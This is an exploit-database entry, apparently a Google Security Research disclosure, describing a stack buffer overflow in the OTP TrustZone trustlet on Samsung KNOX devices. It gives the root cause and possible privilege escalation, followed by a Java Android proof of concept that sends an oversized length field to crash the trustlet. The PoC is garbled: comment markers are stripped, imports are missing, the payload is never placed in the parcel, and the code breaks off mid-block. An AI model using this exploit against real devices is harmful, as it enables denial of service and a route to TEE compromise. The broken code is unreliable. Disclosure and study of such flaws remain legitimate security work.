Samsung Devices KNOX Extensions - OTP TrustZone Trustlet Stack Buffer Overflow Exploit

ID 1337DAY-ID-26517
Type zdt
Reporter Google Security Research
Modified 2016-12-13T00:00:00


Exploit for Android platform in category dos / poc

As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens.
The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server".
Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly.
Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all.
This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets.
On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE.
I've attached a small PoC which can be used to trigger the overflow. It calls the OTP_GENERATE_OTP command with a large length field which overflows the trustlet's stack. Running it should crash OTP trustlet.
package com.example.laginimaineb.otp;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.os.Bundle;
import android.util.Log;
public class OneWhoKNOX extends AppCompatActivity {
     * The logtag used.
    private static final String LOGTAG = "OTP_TEST";
     * The name of the OTP binder service.
    private static final String INTERFACE_DESCRIPTOR = "OTP";
    protected void onCreate(Bundle savedInstanceState) {
        try {
            //Getting the binder
            Class smClass = Class.forName("android.os.ServiceManager");
            IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);
            //Writing a command with a large length field
            Parcel parcel = Parcel.obtain();
            Parcel reply = Parcel.obtain();
            byte[] command = new byte[0xDA7];
            //Setting the command to OTP_GENERATE_OTP
            command[0] = 0x02;
            command[1] = 0x00;
            command[2] = 0x00;
            command[3] = 0x00;
            //Setting the length field to something insane
            command[0x41C]     = (byte)0xFF;
            command[0x41C + 1] = (byte)0xFF;
            command[0x41C + 2] = (byte)0x00;
            command[0x41C + 3] = (byte)0x00;
            //Sending the command (should crash the trustlet)
            binder.transact(2, parcel, reply, 0);
            Log.e(LOGTAG, "res=" + reply.readInt());
        } catch (ClassNotFoundException |
             NoSuchMethodException  |
             IllegalAccessException |
             InvocationTargetException ex) {
            Log.e(LOGTAG, "Failed to dynamically load ServiceManager methods", ex);
        } catch (RemoteException ex) {
            Log.e(LOGTAG, "Failed to communicate with remote binder", ex);

# [2018-02-15]  #